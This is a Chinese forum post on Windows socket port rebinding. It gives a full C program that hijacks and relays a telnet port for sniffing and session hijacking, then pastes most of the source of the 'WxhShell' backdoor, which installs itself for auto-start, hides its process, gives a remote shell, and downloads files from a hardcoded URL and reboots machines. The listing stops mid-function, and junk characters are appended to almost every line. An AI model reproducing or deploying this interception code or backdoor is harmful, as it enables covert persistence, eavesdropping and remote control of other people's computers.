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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3%Y:+%VE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >7>I1  
y+(\:;y$7  
  saddr.sin_family = AF_INET; k]@]a  
+Y%6y]8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y"q aa  
[r/zBF-.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &P?2H66s  
j<<d A[X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FO2e7p^Q  
vQEV,d1  
  这意味着什么?意味着可以进行如下的攻击: Tz]R}DKB&  
P3_.U8g$r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CFaY=Cy  
nYyhQX~]B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y 2 @8B6  
^LMgOA(7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,'X"(tpu@  
L^+rsxR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VPUVPq~&  
1^\w7Rew 2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q\Y4vWg  
C%XO|sP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /v R>.'  
ZL!u$)(V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c$g@3gL  
t2N W$ -E  
  #include ,>  zEG  
  #include ||Zup\QB  
  #include 9@ tp#  
  #include    V%s g+D2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ywa*?3?c  
  int main() 0xB2  
  { Qz~uD'Rs/  
  WORD wVersionRequested; h|qJ{tUWc$  
  DWORD ret; vQMBJ&  
  WSADATA wsaData; 8`q7Yss6F  
  BOOL val; }E 'r?N  
  SOCKADDR_IN saddr; _Iy\,<  
  SOCKADDR_IN scaddr; 8%[pno |0I  
  int err; @Wu-&Lb  
  SOCKET s; L:G#>  
  SOCKET sc; `%C-7D'?  
  int caddsize; j_Szw w-  
  HANDLE mt; V'vR(Wx  
  DWORD tid;   AcH-TIgM/  
  wVersionRequested = MAKEWORD( 2, 2 ); H9cPtP~a)  
  err = WSAStartup( wVersionRequested, &wsaData ); @]=40Yj~w  
  if ( err != 0 ) { WgtLKRZ\  
  printf("error!WSAStartup failed!\n"); $]2)r[eA)  
  return -1; jJ ,_-ui  
  } 1+x" 5<(W  
  saddr.sin_family = AF_INET; QU).q65p  
   jj5S+ >4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 EApKN@<"  
ZaFt4#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yayhL DL  
  saddr.sin_port = htons(23); OK [J h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {K,In)4  
  { 4-(kk0]`z  
  printf("error!socket failed!\n"); ~66xO9s  
  return -1; % Y^J''  
  } oUv26t~  
  val = TRUE; u!_l/'\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $]v}X},,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,erw(7}'.  
  { ;5[KZ8j6Y  
  printf("error!setsockopt failed!\n"); 8H!QekQZ]\  
  return -1; rpR${%jc  
  } }#XFa#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,WT>"9+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }Z!D?(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %q{q.(M#  
d1 j9{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2QfN.<[-  
  { UiFH*HT  
  ret=GetLastError(); V`V\/s gj  
  printf("error!bind failed!\n"); )pnyVTKt  
  return -1; +&EXTZ@o  
  } FfoOJzf~o  
  listen(s,2); zsFzg.$3&  
  while(1) ;XKe$fsa~?  
  { *ukyQZ9  
  caddsize = sizeof(scaddr); 6  63o  
  //接受连接请求 %oZ:Awx  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J$dwy$n  
  if(sc!=INVALID_SOCKET) D Ez,u^   
  { 25^?|9o7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bF'rK'',  
  if(mt==NULL) p9(y b  
  { >| R'dF}  
  printf("Thread Creat Failed!\n"); Wa_qD  
  break; YG p+[|'  
  } tK#R`AQ  
  } }U_ ' 7_JT  
  CloseHandle(mt); UX 1 )((  
  } JfY*#({y  
  closesocket(s); ZCiCZ)oc  
  WSACleanup(); \8`?ir q"  
  return 0; <xOv8IQ|  
  }   wX$:NOO  
  DWORD WINAPI ClientThread(LPVOID lpParam) /ZLY@&M  
  { xO~ ElzGm  
  SOCKET ss = (SOCKET)lpParam; jlEz]@ i  
  SOCKET sc; GD W@/oQr  
  unsigned char buf[4096]; 'rQ"Dc1D  
  SOCKADDR_IN saddr; A'WR!*Yt  
  long num; .g*j]!_]  
  DWORD val; bOS)vt*V  
  DWORD ret; MK$u }G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'M90Yia  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   sp9gz~Kq  
  saddr.sin_family = AF_INET; J=4>zQLW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PNU(;&2<  
  saddr.sin_port = htons(23); E-e(K8R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U84W(X  
  { P]E-Wp'p  
  printf("error!socket failed!\n"); j0jl$^  
  return -1; E8Dh;j  
  } yU?jmJ  
  val = 100; ; * [:~5Wc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~/ %Xm<  
  { s\ IKSoE  
  ret = GetLastError(); *7BfK(9T  
  return -1; NW3 c_]`=  
  } 4zug9kFK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hlTbCl  
  { 2z.ot'  
  ret = GetLastError(); Hvl n>x@  
  return -1; Wboh2:TH:  
  } {pzj@b 1S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0c_xPBbB+  
  { I`>U#x*  
  printf("error!socket connect failed!\n"); v9$!v^U"D  
  closesocket(sc); rr<E#w  
  closesocket(ss); >ZA=9v  
  return -1; {7o#Ve  
  } ab0 Sx  
  while(1) lW bu`y  
  { ?GhyVXS y.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "tK%]c d-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :FyF:=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~6vz2DuB=  
  num = recv(ss,buf,4096,0); >yIJ8IDF  
  if(num>0) xo:kT)  
  send(sc,buf,num,0); hy;VvAH 5  
  else if(num==0) oFY!NMq}:  
  break; ON?Y Df  
  num = recv(sc,buf,4096,0); D$>_W,*V  
  if(num>0) ,pNx(a  
  send(ss,buf,num,0); 5pO|^G j1  
  else if(num==0) X1L@ G  
  break; K %^n.  
  } Rx%S<i;9  
  closesocket(ss); ^5mc$~1`  
  closesocket(sc); L9x-90'q,  
  return 0 ; v gN!9  
  } !>UlvT-  
4<s.|W`  
bOY;IB _  
========================================================== y(A' *G9  
O&`.R|v  
下边附上一个代码,,WXhSHELL @=J|%NO  
gcLz}84  
========================================================== $ {Z0@G+  
Xtp8 ^4Va  
#include "stdafx.h" \P\Z<z7jy  
;*K4{wvG  
#include <stdio.h> 0X$mT:=9  
#include <string.h> 99m2aT()  
#include <windows.h> ,d G.67  
#include <winsock2.h> QFh1sb)]d)  
#include <winsvc.h> O*yxOb*  
#include <urlmon.h> b@:OlZ~ %  
eH&F gmU  
#pragma comment (lib, "Ws2_32.lib") ^aFm6HS1  
#pragma comment (lib, "urlmon.lib") 9I/b$$?D  
yMs!6c*  
#define MAX_USER   100 // 最大客户端连接数 P rt} 01$  
#define BUF_SOCK   200 // sock buffer Sb.8d]DW  
#define KEY_BUFF   255 // 输入 buffer :t?B)  
=:W2NN'  
#define REBOOT     0   // 重启 sFU< PgV  
#define SHUTDOWN   1   // 关机 jX53 owZ  
[^H2'&]  
#define DEF_PORT   5000 // 监听端口 qA*~B'  
F_-Lu]*  
#define REG_LEN     16   // 注册表键长度 JJ.8V72;!Z  
#define SVC_LEN     80   // NT服务名长度 3f;=#|l  
"TRS(d|3  
// 从dll定义API E&[5b4D@<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mh }M|h5Im  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jW/WG tz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D0. )%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qY_qS=H^  
yzK;  
// wxhshell配置信息 ]5!3|UYS  
struct WSCFG { OG\i?N  
  int ws_port;         // 监听端口 lFBdiIw  
  char ws_passstr[REG_LEN]; // 口令 A q i:h]x  
  int ws_autoins;       // 安装标记, 1=yes 0=no m 0HK1'  
  char ws_regname[REG_LEN]; // 注册表键名 ~ELY$G.xl  
  char ws_svcname[REG_LEN]; // 服务名 =w2 4(S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XN<SKW(H3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K+g[E<x\=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |Q?h"5i"(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6Z\aJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3^xUN|.F*V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {I#_0Q,i  
J~~\0 u  
}; uo F.f$%"  
^$c#L1 C  
// default Wxhshell configuration 16NHzAQ  
struct WSCFG wscfg={DEF_PORT, ?HEqv$n  
    "xuhuanlingzhe", \Lx=iKs<  
    1, CK* * RZ  
    "Wxhshell", ~o}:!y  
    "Wxhshell", PK\ZRl  
            "WxhShell Service", n. %QWhUB  
    "Wrsky Windows CmdShell Service", f}otIf  
    "Please Input Your Password: ", a[{$4JpK  
  1, 3i^X9[.  
  "http://www.wrsky.com/wxhshell.exe", dab]>% M  
  "Wxhshell.exe" ]>3Y~KH(  
    }; w,{h9f  
6j E.X  
// 消息定义模块 ^'UM@dd?!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N['DqS =  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 43=v2P0=Tj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W/'1ftn?D  
char *msg_ws_ext="\n\rExit."; 0cG'37[  
char *msg_ws_end="\n\rQuit."; bWPsfUn#  
char *msg_ws_boot="\n\rReboot..."; Xfiwblg  
char *msg_ws_poff="\n\rShutdown..."; {q>%Sr]9  
char *msg_ws_down="\n\rSave to "; +NlnK6T/  
LIg1U  
char *msg_ws_err="\n\rErr!"; U)}]Z@I-  
char *msg_ws_ok="\n\rOK!"; GT{4L]C  
q'D Ts9Bj  
char ExeFile[MAX_PATH]; `[ZswLE  
int nUser = 0; U%3N=M  
HANDLE handles[MAX_USER]; 6v%yU3l  
int OsIsNt; mxNd  
x#{!hL 5G  
SERVICE_STATUS       serviceStatus; aNbS0R>l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /VR~E'Cy%  
g_>&R58  
// 函数声明 #UGSn:D<i  
int Install(void);  Y@,iDQ  
int Uninstall(void); NAYLlW}A  
int DownloadFile(char *sURL, SOCKET wsh); *V>?m6y/  
int Boot(int flag); '%$Vmf)=  
void HideProc(void); vPkLG*d 8  
int GetOsVer(void); }YwaN'3p!  
int Wxhshell(SOCKET wsl); 1 ?@HOu  
void TalkWithClient(void *cs); >%/x~UFc5  
int CmdShell(SOCKET sock); yT ^x0?U  
int StartFromService(void); {16a P  
int StartWxhshell(LPSTR lpCmdLine); 'g#%>  
)~2\4t4|g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2mLZ4 r>WE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @K;b7@4y  
n 0!8)Sth  
// 数据结构和表定义 5es t  
SERVICE_TABLE_ENTRY DispatchTable[] = W"\~O"a  
{ 5xH=w:  
{wscfg.ws_svcname, NTServiceMain}, "*vrrY  
{NULL, NULL} EJ:O 1  
}; {Jn0G;  
M7#!Y=  
// 自我安装 *l5?_tF  
int Install(void) #W\}v(Ke  
{ 8Vu@awz{L  
  char svExeFile[MAX_PATH]; Okq,p=D6  
  HKEY key; DrRK Sc(u9  
  strcpy(svExeFile,ExeFile); ch i=]*9  
OGZD$j  
// 如果是win9x系统,修改注册表设为自启动 -()WTdIy  
if(!OsIsNt) { c~0kZA6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~aC ?M&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zt.k Nb  
  RegCloseKey(key); OqtGKda  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^*.[b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]545:)Q1  
  RegCloseKey(key); (\\;A?  
  return 0; D4%J!L<P  
    } Y ^^4n$  
  } 4m*)("H  
} Dka,v  
else { ^'3c%&Zf3  
jY6GWsh:9  
// 如果是NT以上系统,安装为系统服务 *g5bdQ:Av~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OG$n C  
if (schSCManager!=0)  "'4  
{ e5_Hmuk|  
  SC_HANDLE schService = CreateService \,R;  
  ( w>W#cTt  
  schSCManager, 20Zxv!  
  wscfg.ws_svcname, <AgB"y@  
  wscfg.ws_svcdisp, M}] *j  
  SERVICE_ALL_ACCESS, JFv70rBe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SxF'2ii  
  SERVICE_AUTO_START, T//xxH]w-  
  SERVICE_ERROR_NORMAL, kn3w6]  
  svExeFile, s8-RXEPb  
  NULL, M0 z%<_<}  
  NULL, *aErwGLB8  
  NULL, u(vZOf]jL  
  NULL, r1!1u7dr t  
  NULL ]V"P &; m  
  ); v[L+PD U  
  if (schService!=0) a (U52dO,  
  { TdFU,  
  CloseServiceHandle(schService); I Q_6DF  
  CloseServiceHandle(schSCManager); I`_2Q:r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (%_X{R'  
  strcat(svExeFile,wscfg.ws_svcname); l";Yw]:^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f' A$':Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fHiL%]z  
  RegCloseKey(key); yD"]:ts3  
  return 0; ^4=#, K  
    } 2"&GH1  
  } RV~t%Sw^  
  CloseServiceHandle(schSCManager); N~/ 'EaO  
} ^ITF*  
} Sk{skvd;  
bPVk5G*ruP  
return 1; 461g7R%r  
} %ap(=^|5  
Y0(4]X \ey  
// 自我卸载 1!uBzO6/$  
int Uninstall(void) (xgw';g  
{ ?]><#[?'L  
  HKEY key; ]>M\|,wh  
>zJHvb)b\  
if(!OsIsNt) { OIK x:&uIk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r+#{\~r7T  
  RegDeleteValue(key,wscfg.ws_regname); x2v0cR"KL  
  RegCloseKey(key); y[N0P0r l:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )rEl{a  
  RegDeleteValue(key,wscfg.ws_regname); tW/k  
  RegCloseKey(key); EE 9w^.3a  
  return 0; `r$7Cc$C  
  } N.*)-O  
} Kq[4I[+R  
} 5 `1  
else { gnJ8tuS  
a0NiVF-m%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jG>W+lq  
if (schSCManager!=0) Zn9tG:V  
{ 8-#kY}d.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m>=DJ{KQ  
  if (schService!=0) SKC;@?  
  { DS?.'"n[u  
  if(DeleteService(schService)!=0) { :M(uP e=D  
  CloseServiceHandle(schService); Sp>g77@  
  CloseServiceHandle(schSCManager); A8f.h5~9  
  return 0; n])#<0  
  } Wt/;iq"  
  CloseServiceHandle(schService); 2E }vuw=c  
  } z~Q=OPCnY  
  CloseServiceHandle(schSCManager); aL1%BGlmZ<  
} - l X4;  
} 1$b@C-B@g  
i q`}c |c  
return 1; "pkdZ   
} 6R45+<.  
}AS?q?4?  
// 从指定url下载文件 {+9RJmZg  
int DownloadFile(char *sURL, SOCKET wsh) )Qb,zS6  
{ i~h@}0WR"  
  HRESULT hr; z}E_ wg  
char seps[]= "/"; \%<M[r=  
char *token; >'4A[$$4mM  
char *file; Ki><~!L  
char myURL[MAX_PATH]; r w!jmvHE&  
char myFILE[MAX_PATH]; ZWkRoJXNi  
ko9}?qs  
strcpy(myURL,sURL); `,]Bs*~  
  token=strtok(myURL,seps); CH6 m  
  while(token!=NULL) ? xR7Ii3  
  { ^m z9sV  
    file=token; ^fsMfB  
  token=strtok(NULL,seps); * zp tbZ  
  } d-b04Q7DQ  
K/W=r  
GetCurrentDirectory(MAX_PATH,myFILE); ^;EhKG  
strcat(myFILE, "\\"); $Ivjcs:  
strcat(myFILE, file); 8m") )i-  
  send(wsh,myFILE,strlen(myFILE),0); %j tUbBN  
send(wsh,"...",3,0); w0!$ow.l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w(@r-2D"  
  if(hr==S_OK) Jk*cuf `rq  
return 0; @` KYgjjH  
else , ;,B7g  
return 1; #,tT`{u1q  
xFF!)k #  
} ,4'gj0  
H*0Y_H=  
// 系统电源模块 9rEBq&  
int Boot(int flag) 6U{A6hH]  
{ T#B#q1/  
  HANDLE hToken; >[ B.y  
  TOKEN_PRIVILEGES tkp; "0HUaU,e  
{<yapBMw  
  if(OsIsNt) { ZR!8hw8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (H_dZL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;MN$.x+  
    tkp.PrivilegeCount = 1; T >8P1p@A,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iTHwH{!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x)C}  
if(flag==REBOOT) { G[KjK$.Ts?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kG D_w  
  return 0; rxyv+@~Nc  
} k ]NZ%.  
else { 8R*;8y_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -m@c{&r  
  return 0;  Qxz[  
} h  /  
  } LSta]81B4L  
  else { $!O@Z8B  
if(flag==REBOOT) { P}4&J ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .HZd.*  
  return 0; h,{Q%sqO  
} V&f*+!!2  
else { C&z!="hMhR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "L2*RX.R  
  return 0; jZ.yt+9  
} _^FC 9  
} SWr TM  
vgeqH[:  
return 1; ^$Y9.IH"  
} =d8Rij-  
+0Q   
// win9x进程隐藏模块 :^y!z1\2(7  
void HideProc(void) [S'1OR$FQ\  
{ Q:q0C  +T  
kgo#JY-4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >SXSrXyYX  
  if ( hKernel != NULL ) Y|R=^ =d\  
  { _9>,9aL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jq H)o2"/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hJM& rM7  
    FreeLibrary(hKernel); L62'Amml  
  } IRbyW?/Xv  
GDLi ?3q  
return; Gj?Zbl <  
} =n,;S W  
R%.`h  
// 获取操作系统版本 U =J5lo  
int GetOsVer(void) (m3hD)!+y  
{ ;VLDXvGd  
  OSVERSIONINFO winfo; ^/#+0/Bn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G`l\R:Q  
  GetVersionEx(&winfo); Lip#uuuXXN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %gmx47  
  return 1; Bj 7* 2}  
  else XH%pV  
  return 0; 0~U0s3  
} o(ow{S@=4  
s* GZOz  
// 客户端句柄模块 i~Tt\UA>  
int Wxhshell(SOCKET wsl) xCZ_x$bk  
{ P|Aac,nE+^  
  SOCKET wsh; _&, A  
  struct sockaddr_in client; |!(8c>]Bo  
  DWORD myID; l`\L@~ln  
[ bnu DS  
  while(nUser<MAX_USER) \~#\ [r_  
{ Z8=?Hu  
  int nSize=sizeof(client); b%lB&}uw}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); HwFg;r  
  if(wsh==INVALID_SOCKET) return 1; TFkG"ev  
PzPNvV/o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 437Wy+Q|e  
if(handles[nUser]==0) +nR("Il  
  closesocket(wsh); eP2Q2C8g  
else dSwfea_  
  nUser++; _YX% M|#  
  } P8c_GEna  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %R$)bGT  
Vs 5 &X+k  
  return 0; [6TI_U~  
} $tu   
^X&`YXjuN  
// 关闭 socket | va@&;#wf  
void CloseIt(SOCKET wsh) | +;ZC y  
{ DG;u_6;JR  
closesocket(wsh); :kHk'.V1(  
nUser--; ftY&Q#[  
ExitThread(0); #)S}z+I  
} b]]k\b  
.!~ysy  
// 客户端请求句柄 Mg\588cI  
void TalkWithClient(void *cs) #m|el@)  
{ 9,fV  
W_XFTqp^  
  SOCKET wsh=(SOCKET)cs; W,~*pyLdO  
  char pwd[SVC_LEN]; ++~ G\T9H  
  char cmd[KEY_BUFF]; L~ax`i1:"  
char chr[1]; XF: wsC  
int i,j; =-!jm? st*  
q5g_5^csM{  
  while (nUser < MAX_USER) { HZ<#H3_ix  
il >+jVr  
if(wscfg.ws_passstr) { }F1Asn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _A]jiPq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iY>x x~V  
  //ZeroMemory(pwd,KEY_BUFF); #4|RaI|.  
      i=0; {W?!tD43"  
  while(i<SVC_LEN) { f #h0O3  
KeyKLkg>  
  // 设置超时 X:Y1g)|K  
  fd_set FdRead; `_vPElQXZ#  
  struct timeval TimeOut; Vc'p+e|(  
  FD_ZERO(&FdRead); [%>*P~6nK  
  FD_SET(wsh,&FdRead); q"Bd-?9  
  TimeOut.tv_sec=8; @d Qr^'h  
  TimeOut.tv_usec=0; 3wN4kltt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CH+%q+I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hak#Iz0[C  
g{DOQA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T2-x1Sw_  
  pwd=chr[0]; 6iQqOAG  
  if(chr[0]==0xd || chr[0]==0xa) { Yaq0mef0  
  pwd=0; _x5-!gK  
  break; 2^s&#@n3t  
  } NTJ,U2  
  i++; S ?t `/"O  
    } vasw@Uto)  
toF6 Z  
  // 如果是非法用户,关闭 socket 'NWvQR<X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w32F?78]  
} AkjoD7.*  
h1>.w pr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,=!s;+lu{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rt%Dps%  
f~d =1  
while(1) { _BG `!3U+  
Ge$&k  
  ZeroMemory(cmd,KEY_BUFF); Q3lVx5G>4  
>ptI!\i}  
      // 自动支持客户端 telnet标准   Q m9b:U~  
  j=0; xG~-.  
  while(j<KEY_BUFF) { D vEII'-h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #euOq  
  cmd[j]=chr[0]; j5Yli6r?3-  
  if(chr[0]==0xa || chr[0]==0xd) { q&ed4{H<  
  cmd[j]=0; EHe-wC  
  break; fR.raI4et  
  } nb5%a   
  j++; rGH7S!\AM  
    } 3I?yRE  
!4F@ !.GG!  
  // 下载文件 Z[+Qf3j}o6  
  if(strstr(cmd,"http://")) { ,[m4+6G5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9LQy 0Gx  
  if(DownloadFile(cmd,wsh)) X pXhg*}K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pfim*\'  
  else dkEnc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]H:K$nmX  
  } i\36 s$\  
  else { [u3^R]  
UIQ=b;J9  
    switch(cmd[0]) { *|+ ~V/#  
  n=fR%<v  
  // 帮助 }xrrHp  
  case '?': { k!@/|]3z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g2 V $  
    break; :Z ]E:f0P  
  } 7Ph+Vs+h  
  // 安装 `Geq,  
  case 'i': { d\z':d .Tt  
    if(Install()) ,Ur~DXY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {iq{<;)U?U  
    else HSl$ U0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]*S_fme  
    break; uuh vd h=  
    } 8DrKq]&  
  // 卸载 Qe/=(P<  
  case 'r': { Hi{!<e2  
    if(Uninstall()) hG'2(Y!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z.LF5ur  
    else S67T:ARS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a-TsD}'X  
    break; zGFW?|o<  
    } [TV"mA  
  // 显示 wxhshell 所在路径 }\ui} \  
  case 'p': { ^_ZQf  
    char svExeFile[MAX_PATH]; :kI x?cc  
    strcpy(svExeFile,"\n\r"); dR /UXzrc  
      strcat(svExeFile,ExeFile); sXC]{] P  
        send(wsh,svExeFile,strlen(svExeFile),0); ZsPBs4<p  
    break; ;lWy?53=@  
    } [dL?N  
  // 重启 -p !KsU  
  case 'b': { Tf[-8H<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s.dn~|a  
    if(Boot(REBOOT)) d0Kg,HB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a( {`<F  
    else { &<i>)Ss  
    closesocket(wsh); U7fE6&g  
    ExitThread(0); g?o$:>c  
    } >|I3h5\M  
    break; ;/{Q4X{  
    } I0jEhg%JZ  
  // 关机 Iei4yDv ;  
  case 'd': { LRd,7P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XWy iS\  
